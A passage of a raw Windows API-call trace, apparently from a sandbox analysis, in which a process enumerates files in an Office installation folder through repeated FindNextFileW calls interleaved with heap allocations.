hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXT", cAlternateFileName="")) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab23e8 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5780 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.221] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2408 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5888 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c79b500, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1c79b500, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2428 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5990 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdef99800, ftCreationTime.dwHighDateTime=0x1ca9370, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdef99800, ftLastWriteTime.dwHighDateTime=0x1ca9370, nFileSizeHigh=0x0, nFileSizeLow=0x7770e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.HXS", cAlternateFileName="")) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.222] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2448 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9de8 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa293170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXC", cAlternateFileName="")) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2468 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9e70 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_COL.HXT", cAlternateFileName="")) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.223] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.223] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2488 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9ef8 [0075.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa2b92d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab24a8 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9f80 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3680) returned 0xa94c50 [0075.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab38f0) returned 1 [0075.224] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.224] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17b50100, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xfa5d8fb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x17b50100, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.224] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab24c8 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaaa008 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89452700, ftCreationTime.dwHighDateTime=0x1cacb3b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89452700, ftLastWriteTime.dwHighDateTime=0x1cacb3b, nFileSizeHigh=0x0, nFileSizeLow=0x2f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.DLL", cAlternateFileName="")) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cfb800, ftCreationTime.dwHighDateTime=0x1cac79b, ftLastAccessTime.dwLowDateTime=0x19ac4550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70cfb800, ftLastWriteTime.dwHighDateTime=0x1cac79b, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPTOOWS.XLA", cAlternateFileName="")) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.225] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.225] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab24e8 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaaa090 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.226] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x508debc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x13f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.VSL", cAlternateFileName="")) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2508 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaaa118 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.226] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83340500, ftCreationTime.dwHighDateTime=0x1c937e6, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x83340500, ftLastWriteTime.dwHighDateTime=0x1c937e6, nFileSizeHigh=0x0, nFileSizeLow=0x7ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLOCH.VRD", cAlternateFileName="")) returned 1 [0075.226] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.226] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50904d20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOREST.CSS", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.CSS", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfbba2a00, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfbba2a00, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x7fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VRD", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50950fe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4e570, dwReserved0=0x0, dwReserved1=0x0, cFileName="GANTT.VSL", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74d63000, ftCreationTime.dwHighDateTime=0x1bbd3c6, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74d63000, ftLastWriteTime.dwHighDateTime=0x1bbd3c6, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="GR8GALRY.GRA", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61152c00, ftCreationTime.dwHighDateTime=0x1c6e5fa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x61152c00, ftLastWriteTime.dwHighDateTime=0x1c6e5fa, nFileSizeHigh=0x0, nFileSizeLow=0x94f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH.HXS", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x26d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXC", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_COL.HXT", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_F_COL.HXK", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27344a00, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x27344a00, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRAPH_K_COL.HXK", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x32d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x9380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc82600, ftCreationTime.dwHighDateTime=0x1cac1e2, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3cc82600, ftLastWriteTime.dwHighDateTime=0x1cac1e2, nFileSizeHigh=0x0, nFileSizeLow=0x18780, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRINTL32.REST.IDX_DLL", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3180, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRLEX.DLL", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd9dd600, ftCreationTime.dwHighDateTime=0x1cacb3e, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdd9dd600, ftLastWriteTime.dwHighDateTime=0x1cacb3e, nFileSizeHigh=0x0, nFileSizeLow=0xbb9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove Starter Template.xsn", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c7bd300, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c7bd300, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x22c410, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE.HXS", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd3f79f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd443cb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd443cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c91e000, ftCreationTime.dwHighDateTime=0x1cacb46, ftLastAccessTime.dwLowDateTime=0xfd5e6bd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8c91e000, ftLastWriteTime.dwHighDateTime=0x1cacb46, nFileSizeHigh=0x0, nFileSizeLow=0x863360, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveIntlResource.dll", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfd59a910, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="GROOVE_COL.HXC", cAlternateFileName="")) returned 1 [0075.227] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5e7b500, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0xfd59a910, 